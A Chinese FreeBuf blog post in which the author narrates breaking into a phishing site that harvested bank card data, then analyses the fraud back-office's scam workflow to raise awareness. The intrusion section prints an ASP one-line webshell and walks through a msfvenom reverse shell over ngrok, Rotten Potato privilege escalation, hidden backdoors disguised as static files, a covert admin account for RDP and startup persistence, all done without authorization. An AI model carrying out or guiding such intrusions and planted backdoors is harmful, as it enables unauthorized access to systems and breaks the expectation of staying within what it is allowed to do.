freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次拿下网络诈骗者站点的全过程与套路分析
2021-10-18 17:32:32

这是一则漫长又跌宕起伏的故事,小伙伴们请随意就坐,自备茶点。全文包含信息收集与攻克的详细全过程,以及对该类型诈骗思路的分析拆解,以提高防范意识。

0x00 梦的开始

那是一个阳光明媚的晌午,日常的搬砖过程中收到一封公司邮件,

email-send

看到这熟悉的措辞,又瞄了一眼下面的附件内容,熟悉的气息扑面而来,就顺手保存了下来。

email-qrcode

随即管理员立马发现了不对劲,追发邮件说员工账号被盗用,不要轻信邮件内容,原始邮件也被标为垃圾邮件(上次的类似邮件删的太突然,事情还没开始就结束了,这次总跑不掉了( ̄_, ̄ ),作为当代好青年,五星好市民,是时候发扬一下活雷锋精神了);

而这张图片,就成了一切梦开始的地方……

0x01 信息收集

0x001 审查域名

起始信息非常有限,开局一张图,剧情全靠猜,不过这个入口也足够了,先拿出家伙解析下二维码中的信息:

email-qrcode-analyze-url

没有额外的数据,只有一串网页链接,看着这域名名称,嘴角微微上扬,先去解析一下域名:

cmd-nslookup

到写文为止已经不能解析该域名了,整顿的倒挺快,不过好在之前有解析备份,域名万变不离其IP,并且也没有发现使用 CDN,流量全部通往源站;顺手查了一下,是香港的服务器:

front-query-ip

然后whois一下,搜集相关信息:

cmd-whois

不出意外,又是用的三方注册机构,没有额外的有用信息,不过这个注册时间挺有意思,本月的,骗子同志动作还蛮快的;接下来只能去对方网站瞅瞅:

front-west-whois

又是西部数码,看来有些备受青睐,网站提供隐私保护机制,注册信息不对外公开,暂时也获取不到有用信息;

0x002 审查 IP

现在唯一的线索就是之前解析的那个 IP 了,一步一步来,先nmap扫一波端口服务先,收集更多信息:

cmd-nmap-port-services

嗯还行,看见了几个熟悉的身影,继续走流程,分别跑下默认脚本分析下端口服务信息:

cmd-nmap-default-script

没有探测倒匿名 ftp,http 支持TRACE,没有设httponly,有执行XSS的机会,小本本先记下;然后老规矩,默认字典定向爆破一轮先,尝试还是要有的,万一那啥了呢:

cmd-nmap-ftp-brute

剩余端口也都试了,意料之中,没啥收获,看来基本的密码强度意识还是有的;另外之前的扫描扫描中有出现8888这个端口,记得这个是服务器管理工具宝塔面板的默认后台入口,访问一下试试:

front-baota-login-pre

有入口校验,起码证明确实是用的宝塔面板,不过这个爆破应该是不可能去爆破的,记得入口 url 后缀默认大概是 8 位任意大小写字母与数字的组合,就是 62 的 8 次方,大约两百万亿,就挺秃然的,先放在后面再说吧,接下来,继续转战其他方向:

0x003 审查页面

来都来了,既然扫码是跳转页面链接,并且端口也开放了 80 和 443,当然要打开网页访问一下康康,同时开启开发者工具,看看有啥小动作:

front-home-mobile

哎呀,还识别机型,这靶向用户还挺明确,那就切成移动端看看:

front-home-index

emm……怎么说呢,有那味儿了,咋一看还真看不出来,模仿的还挺全(不过胆也确实大,政府网站都搞),然后看了下接口返回的头信息,发现使用的Windows IIS 7.5 + ASP.NET的服务:

front-home-headers

这个先记着,后面漏洞挖掘用得着,后面试了一圈发现页面都是空壳,只有那个处理入口的弹窗能跳转,跳转页面是:

front-apply-btn

描述的还挺全,好让大家都能对号入座,这里点下立即申请:

front-input-name-id

然后就开始了个人信息收集的一条龙服务,先是姓名和身份正号,另外,注意看旁边显示加载的 PNG 头图的名称,额难道这是开发者的疯狂暗示??这里随便输入条信息进去看看:

front-input-name-error

居然还有校验,打个断点看看源码逻辑:

front-input-name-breakpoint

一个号码校验都整的这么齐全,还真是费心了,不过前端的校验都是纸老虎,这里也不用什么偏方了,直接用开发者工具的源码编辑覆盖功能,直接给校验函数返回true

front-input-name-override

然后校验通过,进入下一个步骤:

front-input-bank

这里是要收集银行卡号和密码以及绑定的手机号,唉,意图很明显,哪有打款转账还要对方密码的操作,这里也准备随便填下,银行卡校验用同样的方法绕过一下,不过在其中一个加载的脚本文件中发现了有意思的东西:

front-input-bank-js-source

开发者连源码中的调试数据都不删除,调的阿里支付的接口,正好借对方调试账号用一下下(再次证明了作为开发者,生产环境中代码移除注释的重要性=_=):

front-input-bank-amount

然后进入了下一个页面,再次收集姓名和证件号,以及银行卡余额(这里应该是对用户真实情况进行摸底以及其他未知操作),下意识查了自己的余额,唉果然这里连撒谎的勇气都没有 T_T,马上填完进入下一步吧:

front-input-bank-amount-value

front-submit-loading

然后页面会一直加载不断刷新,再无其他跳转,应该是给诈骗者提供操作的时间,那么网页的相关操作就暂时告一段落,大致了解了一些操作步骤,接下来探索一下其他方向;

0x02 漏洞挖掘

0x001 SQL 注入

信息收集差不多了,现在来逐个击破,先从最熟悉的网页端入手,前面审查页面时有不少提交表单和输入框,这些都是潜在的攻破点;挖掘技术哪家强,先祭出神器Burp,拦截一下之前提交银行卡号密码的表单数据:

burp-form-field

然后对字段值进行简单注入尝试,检查报错信息:

burp-sql-inject-simple

没反应,应该是有基础校验,再换个:

burp-sql-inject-union-select

有反应,似乎看到了希望,虽然返回乱码了,应该是对方程序处理问题,不过看句式像是 SQL 报错,又接连试了几个,也是同样的返回,那么剩下的冗杂工作,就交给工具进行吧,掏出sqlmap跑一波:

cmd-sqlmap

后面换了几轮参数也没成功,应该是过滤机制比较周到,然后在测试另一个页面时,才发现了那段报错信息的原本含义:

burp-sql-inject-err-res

嗯还是太年轻,会错意了,应该是程序识别到了字段值中的 SQL 关键字;另外回想起之前扫描到服务可能隐含TRACE相关漏洞,测试了下,应该是服务端暂未支持:

burp-trace-method

然后又想了想,针对密码字段进行数据库表字段设计时,应该会考虑其字符位数低的特点,减少空间占用,因为这是银行卡密码,都知道是 6 位数字,这里传个大数看看有没有惊喜:

burp-post-mass-data

尴尬,是有惊无喜,应该是没有特别处理,直接反馈为服务端错误;后面又陆续换了几个页面,测试下来都没太大收获,场面又一度陷入僵局,只能又暂时转移战场;

0x002 Metasploit 渗透

终于到Metasploit出场了,蓄势待发,

msf-banner

先搜一下 IIS 的已知漏洞:

msf-search-iis

有不少,那就先调几个条件匹配的试一波,这里只放个示例,就不一一展示了:

msf-run-ektron

然后就是其他几个端口、服务,挨个测试一遍,也没有什么突破,看来补丁都打的挺全;目前又暂时陷入了死胡同,虽然 msf 还有不少模块可以利用,不过暂时不准备继续深入试探了,因为想起来还有另外一件重要的事情还没做:

0x003 站点目录枚举

站点目录扫描,这件重要的事怎么能少得了,可供选择的工具很多,如dirbuster等,这里我们使用Burp SuiteEngagement tools里的Discovery content工具,进行目录爆破:

burp-dirbus-menu

burp-dirbus-config

其内置的大量字典已经足够使用了,不过涉及网络请求,这个过程也是异常漫长,不过可以后台跑着,不影响做其他事,这里就直接贴一个扫描结果:

burp-dirbus-sitemap

直呼好家伙!不扫不知道,出来吓一跳,居然错过了这么多隐藏入口,小本本记下先,后续挨个探索,不过呢视线情不自禁地锁定到了名为upload.asp这个文件上,开发者这么明显的暗示就无需我多言了(ㄟ( ▔, ▔ )ㄏ);

burp-upload-get

直接访问没什么返回数据,难道是方法不对?换成POST表单文件数据再试试:

cmd-curl-upload-file

看来这样上传也没用,也许还要额外的校验参数之类的,上面不是刚扫了一堆没见过的页面嘛,现在回过头去挨个分析下页面源码看看,也许会有收获:

front-upload-source

果然,在其中一个页面中,发现了调用这个上传接口的表单,是个隐藏元素,结合页面内容,应该是用于收集用户上传的某些证件信息,身份正照片之类的,然后看了对应的 js 源码,果然存在一些校验和接口参数:

front-upload-js-fn

这里去分析调用这些函数再上传文件太费劲了,这不是个隐藏表单嘛,直接改下代码通过 UI 操作多轻松 (¬‿¬):

front-upload-show-form

样子虽然简陋了点,管他的,能跑起来就行了,上传个文件试试:

front-upload-done

然后再访问看看效果:

front-upload-access

好家伙,大写的激动!嘴角再度微微上扬,不过先冷静下,再试试有没有文件类型校验,服务是ASP.NET的,那就简单传个 asp 程序试试,下面的代码会在页面输出站点运行服务的名称:

<% response.write(Request.ServerVariables("SERVER_SOFTWARE")) %>

然后上传上去看看:

front-upload-asp-info

这……俺还能说什么呢,此时无声胜有声$_$,不过这并不是终点,这只是一个良好的起点,一切才刚刚开始 (¬‿¬);

0x004 意外收获

其实网站目录中还有一个很让人在意,就是叫jieliuzi这个目录,虽然摸透了对象开发者喜欢汉语拼音命名的习惯,但是这个含义始终未能参透,连蒙带猜外加输入法都未得其解,甚至后面进去一探究竟后没没想明白=_=,中华文化真是博大精深。不管了,看看页面访问结果:

front-jieliuzi-login

是个登录页,十分简洁,而且这其实是个 PC 站点页,骗子在某些方面也挺有情调的,这里不作展示是由于整图过于刺激(怎么说呢,额,这登录框真白),怕过不了审,另外,注意一下这个网页最上面的标题名,第一反应就是应该不会是简单的字面意思,听着也不像啥好词儿,为此专门去百度了一下:

front-whaling-meaning-1

front-whaling-meaning-2

em……又长见识了,原来诈骗也能是一门学问,再结合最开始那张二维码的来源(企业邮件),看来是这么个意思了,大家平时也都注意警惕一下。

随后试了下登录,没有验证码或超时超次数验证这些,并且也没挖掘到可利用的 SQL 注入点,这种情况就该BurpIntruder出场了,后台登录名一般都是admin,密码就祭出rockyou.txt跑一波先:

burp-jieliuzi-intruder-config

burp-jieliuzi-intruder-running

这也是一个比较漫长的过程,不过一会儿之后再去看的时候就发现了变化:

burp-jieliuzi-intruder-sql-warn

需要留心的就是这里的返回数据长度,因为正常讲大部分试的密码都是错误的,服务器响应的数据大小也都是一样的,突然出现不一样的长度多半就出现了转机,这里看来是识别出了 sql 语句,和之前一样报错,然后看最上面那条:

burp-jieliuzi-intruder-find

整个列表中就这一条最特别,看返回也是 302 重定向,看来应该是密码对了跳转进页面了,然后看这密码,也是够随意的,看着简单,猜的时候谁又能想到呢,登录进去看看:

front-jieliuzi-order-list

front-jieliuzi-ip-list

……,唉,怎么说呢,应该是触目惊心吧,虽然数量没有一些媒体平台时不时报道那些的那么夸张,但也不是一个小数目了,而且每一处记录的银行卡账号、密码、身份正号、手机号、验证码、IP位置这些,都是近乎真实的。我不是正义的制裁者,也没有多少执行正义的力量,最多就热心的帮他们删个库再跑路,个人的力量太小了,所以这些还是都后面交给警察蜀黍处理吧,正义可能会迟到,但不会缺席。

0x03 获取权限

0x001 Get webshell

暂时先抛开题外话,上面进行到了文件上传这一步,文件上传可以意味着很多事情,可执行文件的上传便可以实现获取服务器的系统操作权限,当然这里的网页应用程序的相关权限一版很低,提权的事就是后话了;当前任务是拿下网站操作权限,即webshell,继续走流程,先上传个简单的 asp 版一句话木马

<% execute(request("pass")) %>

然后就该 亮剑了:

antsword-add-data-menu

antsword-add-data-detail

antsword-add-data-success

搞定,进去康康:

antsword-wwwroot-list

文件相关操作:

antsword-wwwroot-list-menu

antsword-file-edit

数据库相关操作(对应之前后台页面的展示数据):

antsword-db-bank

命令行终端相关操作:

antsword-cmd-home

甚至获取 Windows 系统信息:

antsword-cmd-systeminfo

好了,这不啥都有了,还要啥自行车,但也不能止步于此,虽然现在拥有了对这整个站点的操作权限,包括文件及数据库的增删改查等,但也不至于为了正义用爱发电,每日蹲点删库删站,我们的目标还在山的那边 (ง •_•)ง

0x002 Backdoor

俗话讲,要生于忧患,虽然现在入口打通了,但是凡事都要留一手(我更喜欢留多手),防止木马那天被管理员察觉并清理就尴尬了,所以找几个隐蔽的位置,再上传几个,比如平时几乎不被注意的 css 或图片等静态资源文件夹,js 库文件等,文件命名上也可以花点心思,模仿已有文件或者配置文件之类的,使人有一种一眼看上去是正常文件的幻觉(+_+);

antsword-backdoors

当然,还可以利用一种技术,简单讲就是 Windows 中我们熟知的隐藏文件,一般一些软件或系统的配置文件会通过这样的方式隐藏,防止普通用户误删改,查看也能简单,像下面这样勾选一些就都出来了:

antsword-explorer-hidden-file

所以我们这里可以通过 shell 命令把指定文件隐藏掉,使得其不会被轻易发现:

antsword-cmd-attrib

0x003 Get shell

目前我们获取到的还只是webshell,虽然可以模拟执行终端命令,但是这些都是通过上传的 asp 后门程序执行的,就是说每步操作都会发起 http 请求,防止被平台记录,需要获取系统shell,即上传系统可执行文件(如.exe文件,就是俗称的木马),至于如何生成,就需要metasploit再次登场了。

这里又涉及一些东西,getshell 的木马一般有两种,正向连接和反向连接,基础的认知可能是将程序上传至机器,然后运行就会后台监听某个端口,等待外部的连接,连上后就可以通过两端的交互达到控制系统,当然前提是系统防火墙没开或者允许该端口放行,而通常服务器都会开启防火墙并过滤端口,只放行指定的几个。

所以后面出现了第二种类型,反向连接,或者叫反弹 shell,简单讲就是第一种类型反转一下,不是目标机器等待我们连,而是我们外部的机器等待目标机器来连接,这解决了防火墙端口的限制,因为防火墙一般不会特意去限制出站端口,当然这种类型又增加了额外的限制,首先我们需要一台具有公网 IP 的机器,像平常这种连着 WiFi, 深埋于 n 层路由下的设备,基本可以放弃了(使用端口转发也需要运营商提供公网 IP),另外就是需要目前机器可访问公网,因为有些服务器考虑安全因为是在内外下的,用反向代理等方式传输流量,无法访问外网。

由于不清楚对方防火墙情况,先用反向连接看看,手边暂时没有公网机器,就先用ngrok转发一下端口流量,先启动服务。

cmd-ngrok-running

从之前收集的数据中得知,对方机器是 x64 Windows 系统,那么这里就直接用msfvenom生成对应的payload(暂时先不考虑加密加壳这些,传上去看看是否被杀毒再说):

cmd-msfvenom-generate-api

reverse_tcp是反向连接,bind_tcp是正向连接,连接地址填 ngrok 提供的链接,端口填链接对应的,然后生成执行文件,最后上传到对方站点某个隐蔽的目录下:

antsword-upload-api

antsword-upload-api-success

然后在 msf 中启动监听程序,等待对方连接,地址填本地,端口填之前 ngrok 中设定的本地端口,使用的 pyaload 要和之前msfvenom中配置的一致,不然会连接失败;完成后,一旦目标上的程序启动,首先就会访问 ngrok 域名和对应端口,ngrok 服务再把传输数据转发到本地的监听端口中,数据就通过这一层中介进行双向传输:

msf-run-reverse-listener

然后在 webshell 中执行它:

antsword-cmd-run-api

antsword-cmd-list-api

运行成功,这是切换回 msf 一会后就会有所反应,表示连接成功:

msf-reverse-connected

现在再查看 ngrok 服务就回显示有一条连接,表示可以进行通信了:

cmd-ngrok-connected

现在连接成功进入的操作界面是meterpreter,这是metasploit提供的有许多拓展功能的集成终端,类似于 cmd、shell,但是功能更强大,可以执行切换目录、获取系统信息、操作进程、上传下载文件、进一步渗透等操作,甚至在拿下 system 权限后,还能解锁控制鼠标键盘、屏幕截图或实时预览等高级功能,这里先查询下基础信息:

meter-getinfo

和之前的虚拟终端一样,当前操作用户是 IIS,当然这里想用 cmd 终端操作也是可以的,执行下shell命令进入系统shell,操作和命令与系统命令提示符没有两样:

meter-shell-command-test

初次进入可能会出现中文字符乱码情况,因为 cmd 默认使用的字符集问题,手动切换成 UTF-8 的 65001 就行了,可能唯一不太方便的地方,就是没有集成历史记录的功能,要重试上个命令得全部重打一遍,毕竟是网络转发数据,不应要求太多。

0x004 Get system

如上面所讲,目前获取到的只是普通账户的shell,虽然有一定的终端操作权限,但还是远远不够的,会有诸多限制,比如无法操作一些服务、增删系统账户、访问系统目录等等,那么接下来的操作就是 shell 提权了,或者叫 getsystem,这也是 meterpreter 中的一条命令,功能和描述一样,会尝试多种漏洞进行权限提升以获取SYSTEM权限,只不过试了下似乎都没有成功,只能另寻他法:

meter-getsystem-err

这里值得说的是,可能有小伙伴会有疑惑,认知中 Windows 系统中权限最高的不应该是超级管理员Administrator吗,为什么一直在强调获取SYSTEM账户权限,其实严格来讲,Administrator 账户虽然成为管理员,其实权限并不是最高的,也有很多它做不了的事,举个简单的例子就是删除系统账户Guest

cmd-admin-del-guest

以及其他一些系统层面的事,administrator 也做不到,而这些高层次的操作都由SYSTEM账户来完成,虽然在账户设置里面从没见过它,但它是确确实实存在的:

explorer-system-account

就像网站服务其实也有个对应的 www 账户一样,应该没人曾经登录过它吧。

前面讲获取 system 权限使用getsystem不奏效,那么就继续试探一下其他路子,也就是令牌窃取,令牌指的登录令牌,类似登录网站要用的cookies或者token,而 Windows 中存在两种令牌:Delegation Tokens(授权令牌) 和Impersonation Tokens(模拟令牌),前者用于交互式的登录,如直接或使用远程桌面,输入账号密码登录进系统,而后者用于非交互式的会话中,访问网络驱动或其他域登录脚本程序。

这里要利用的正是模拟令牌,窃取的过程有些类似网站里的 cookies 窃取,由于令牌在重启系统之前,会一直被保留,所以有账户登陆过的话,其令牌有机会被冒充使用,而且有授权令牌登录的账户注销的话,令牌也会转化为模拟令牌,同时其原本的相关权力都会保留。

这里接下来就先使用incognito(伪装、隐瞒的意思,偷盗者总是会先隐藏起来嘛)插件,进行令牌盗取,再用list_token命令查询当前能获取的令牌情况(数量因当前的 shell 权限而定):

meter-list-tokens

这里可以看到可盗取令牌的账户,要窃取的话就使用impersonate_token命令:

meter-impersonate-iusr

虽然可以窃取成功,但试了下这个账户的权限也不高,尝试性的试了下 system 账户也失败:

meter-impersonate-try-system

所以只能再尝试其他提权漏洞了,这里就先用bg命令把当前 meterpreter 会话切换至后台,回到 msf 界面,使用一个已知的Rotten Potato提权漏洞:

msf-use-rotten-potato

需要的唯一参数是会话 id,正好可以利用刚才的 meterpreter 会话,然后还需要设置一个 payload,这里之前有了解过,目前机器可以访问公网,而且虽然有使用防火墙过滤端口,但是似乎一直开着这么一群端口:

meter-netstat

这是远程 RPC 需要使用的一系列端口,所以盲猜机器会开放49150-49160这么一个范围的端口,那么就见缝插针,选一个没被占用的用于开启监听,这样就能直接使用正向连接了,而不用麻烦的再次使用反向连接:

msf-config-rotten-potato

地址填目标机器的地址,这样运行后就能自动连接到目标机器的监听端口上,这里先运行一下试试能不能成功:

msf-run-rotten-potato-success

哟西!竟然比想象中的顺利,就不多解释了,检查一下权限和令牌先:

msf-rotten-potato-getsystem-success

Nice,成过窃取到了 system 账户的令牌,以对方身份登录成过,接下来就可以试试权限了:

meter-shell-system-add-user

进入 shell 后账户确实变成了 SYSTEM,也能增加或删除账户了,那么至此,成过拿下系统最高权限,成功 getsystem;

0x005 权限测试

回想起前面有说过,高权限可以获取屏幕截图或者实式预览,那么这里来就看一下下:

meter-screenshot-saved

成功截图到了指定文件,打开看看:

meter-screenshot-view

虽然分辨率有点低,但大致是个登录界面的模样,然后实时预览看看,由于这个要启动图形服务,就在虚拟机里跑一下:

meter-screenshare

大晚上的,应该没啥人登录,,不过光是预览还不够,现在是可以直接远程登录进去的,只是需要额外的一些操作,先建立一个账户并分配管理员权限(即加入Administrators用户组),名字同样可以取得有一定迷惑性:

meter-add-user-sys

不过光是这样还仍没有远程登录的权限,需要将用户分配进远程桌面用户组才具有登录权限:

meter-add-sys-rdp

然后这里本来是要开启远程桌面服务的(TermService),结果查询发现是已经开启的,然后一路追踪到了服务对应的进程,进程对应的端口:

meter-shell-find-termservice

居然默认端口从 3386 改成了 10086,有意思,之前端口扫描默认常用端口,难怪没有扫出来,既然现在用户和密码都有了,登录进去看看:

rdp-connect-pannel

rdp-connecting

rdp-desktop-view

唉,都舍不得掏钱整台配置好一点的,一点都不懂得投资 ㄟ( ▔, ▔ )ㄏ,没意思,擦擦屁股溜了溜了(~ ̄▽ ̄)~;

0x005 System Backdoor

老规矩,任何阶段都需要留一手,并且现在 system 权限,因此只要留下后门那么再次连接就直接具有 system 权限,那么话不多说直接上传,文件名同样可以取得有一定迷惑性:

meter-upload-conf

然后配置程序开机启动:

meter-shell-reg-add

当然,要想再留一手就可以再创建个系统服务,只是生成的 payload 要用 service 类型的,不然会启动失败:

cmd-gen-payload-exe-service

然后上传后在目标机器创建服务,配置开机自启,也可以再额外配置启动失败后自动重启服务,或者最近调用执行其他程序,最后再手动启动一次服务:

meter-shell-sc-create

至此,大部分流程基本结束,拥有系统权限可以做更多的拓展渗透,这些都是后话。

0x04 套路分析

0x001 作案工具

目前为止一共收集到两个后台,一个宝塔面板和一个捕鲸系统后台,宝塔之前是由于有登录校验,没有获取到登录入口,现在就轻松了,用宝塔自带命令bt default查看一下默认入口和账号信息:

meter-baota-default

额……者用户名难道是要暗示自己输得起?待会用这个账号和密码登进去看看,另外在查看目录时,又发现了有意思的部分:

meter-baota-hosts-list

这里还列出了不少站点,难道现在诈骗也搞分布式作案了 ( $ _ $ ),或者微诈骗?算了后面有机会再去一锅端了,先登录进去看看:

front-baota-login-default

看了默认密码被换调了,虽然现在有权限能直接改掉密码,为了不打草惊蛇,就先放一放,反正进去也都是一些可视化服务器配置,毕竟现在服务器的系统权限都攥在手上呢,不必着急,主要先分析下另外一套系统,那才是骗子们的主要作案工具。

可以观察页面存在两列功能栏,分别罗列着骗子能远程执行的操作:

front-jieliuzi-func-1

front-jieliuzi-func-2

两列功能类似,只有个别区别,这里贴个图对比一下,感觉功能 2 应该是 1 的升级版,多加了几个功能,不过后面发现并不是这么简单,二者都能使用,这样是为了方便骗子连环套取用户信息:

front-jieliuzi-func-compare

0x002 诈骗流程

最前面的捕鲸邮件这些就不说了,就是邮箱盗号后广发邮件撒网罢了,现在主要来看下上面的一堆功能项,为了行骗过程操作方便,大部分功能应该都是字面意思,还记得最开始审查页面的时候,最后是停在了一个加载页上面,那么应该就是衔接这里的操作的,不同的功能项会触发不同的返回结果:

front-submit-loading

这里空讲可能没什么概念,功能汇总有十几二十 个,就挨个给大家实际演示一遍,从骗子的视角过一遍大致就能体会了,还是用之前的表单数据提交,然后这部触发不同的功能后回去看结果:

“未通过”

未通过就是上面的加载页面,是默认状态,也是处理不通过返回之前的中转页面:

“通过--杀它”

标记通过后会跳转提交验证码的页面,这里获取验证码只是个幌子,真实情况是骗子在向银行发起请求获取验证码,然后骗取用户提交:

front-res-1-pass-kill

“验证码超时失效,请返回重新获取(不显示金额)”

如果你这边操作慢了,导致骗子那边输入超时,就会提示让你重新操作获取提交一次(想的真周到=_=):

front-res-2-msg-timeout

“通过=【显示余额】”

只是不是有提供余额信息嘛,这里就提供用户确认再次骗取二维码(让人觉得像是银行正常查询出来的):

front-res-3-pass-show-amount

“余额查询”

如果骗子那边执行什么操作核实到金额不对时,就是提示用户重新填写正确金额:

front-res-4-amount-query-1

front-res-4-amount-query-2

“取款密码错误”

如果发现取款密码不对,也会重新让用户提供:

front-res-5-withdraw-passwd-wrong-1

front-res-5-withdraw-passwd-wrong-2

“手机号码错误”

然后是手机号:

front-res-6-phone-wrong-1

front-res-6-phone-wrong-2

“银行卡号错误”

银行卡号:

front-res-7-bank-wrong-1

front-res-7-bank-wrong-2

“身份正号错误”

姓名和身份正号:

front-res-8-name-id-wrong-1

front-res-8-name-id-wrong-2

“审核通过”

然后是审核通过,让你耐心等待结果(等待骗子把钱套走跑路 $_$):

front-res-9-pass-over

“不支持,请更换名下其他银行认证”

如果发现某些银行卡不太好利用,就会提示更换:

front-res-10-not-support-bank

“换【信用卡】"

换信用卡:

front-res-11-change-credit-card

“换【储蓄卡】”

换储蓄卡,反正对方为了达到目的,会反复榨干你的每一处积蓄,比大多数服务员都贴心……

front-res-12-change-debit-card

“有效期和后三位/错误”

然后这个是信用卡相关的信息,和密码一样重要,也要注意不要轻易透露出去:

front-res-13-change-valid-date-1

front-res-13-change-valid-date-2

“【建设银行】==获取授权码”

使用建设银行应该是需要额外的授权码,骗子也会想办法搞到手:

front-res-14-ccb-auth-code-1

front-res-14-ccb-auth-code-2

“【网银密码】”

如果存在网银,也会骗取登录密码进行远程套现:

front-res-15-input-ebank-passwd-1

front-res-15-input-ebank-passwd-2

“请保持银行卡内余额大于5000验证”

下面的就有意思了,如果骗子觉得你卡内金额太少(穷),就会提示你再多搞点过来:

front-res-16-need-account-5000

“请保持银行卡内余额大于10000验证”

或者骗子心情好,来个狮子大开口:

front-res-17-need-account-10000

“验证码超时失效,请返回重新获取(显示余额)”

然后这是验证码超时提示金额,和之前差不多:

front-res-18-msg-timeout-show-amount-1

front-res-18-msg-timeout-show-amount-2

“只支持工、平、浦、招、光储蓄卡”

这里本来应该是提示支持指定银行,不过……看来天下开发者总是有不同的环境,类似的处境,唉,同情那位仁兄3秒:

front-res-19-only-support-some-banks

“下载 apk 拦截马”

这里也一样,本来该骗用户下载安卓木马的,但似乎也还没准备好:

front-res-20-download-apk-trojan-1

front-res-20-download-apk-trojan-2

front-res-20-download-apk-trojan-3

“联系在线客服”

一样:

front-res-21-contact-online-service

“信息不一致,请返回从新填写正确的预留信息”

察觉用户输入信息不一致,重新填写:

front-res-22-info-inconsistent

“扣款--打抢”

这里也有意思,基本就是骗子已经从用户手上套现了,为了安抚民心,整这一大段话提示用户这是流程的基本操作,以及后续会返还之类的(信你个gui):

front-res-23-stole-money-1

front-res-23-stole-money-2

【先回复打字,再设置此功能键】

然后这是最后一项了,大致就是骗子自己编话术,然后返回提示用户:

front-res-24-self-define-reply-backend

front-res-24-self-define-reply

0x05 结语

正道的光可以迟到,但不能缺席,由于目前所收集的诈骗团伙相关信息还并不充分,后续会想办法陆陆续续收集,再交由警方处理。
zhapian-jubao-online

最后呢,其实也并没有什么额外要说的,因为防骗或安全意识这些大道理,国家政府再到媒体个人,每天都在强调,稍微留心一下就行了,从这整个过程看来(攻克过程不重要,可以忽略),贬义的讲,骗子考虑业务场景还挺周到的,也有不少地方在利用人的弱点,就比如之前图中那些接近官方的环境和话语,大家还是得注意分辨;

然后就是最最重要的,因为那封邮件是一切的开端,注意提高账户密保和安全性是一方面,比如加个登录二次验证什么的,另一方面就是不要轻信任何信息,涉及链接或二维码这些的,即使来自身边熟悉的人,因为他们可能也只是受害者链上的一个节点而已。
country-fanzha

另外,额外宣传一波 (¬‿¬),国家出台的反诈中心APP,除了风险检测与线上举报外,更有相当多的真实案例公布更新,可下载备用。

文章出自个人博客 https://knightyun.github.io/2021/09/04/exploit-take-down-swindle-website

本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载

# 网络安全技术 # 网络诈骗 # 灰产圈
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑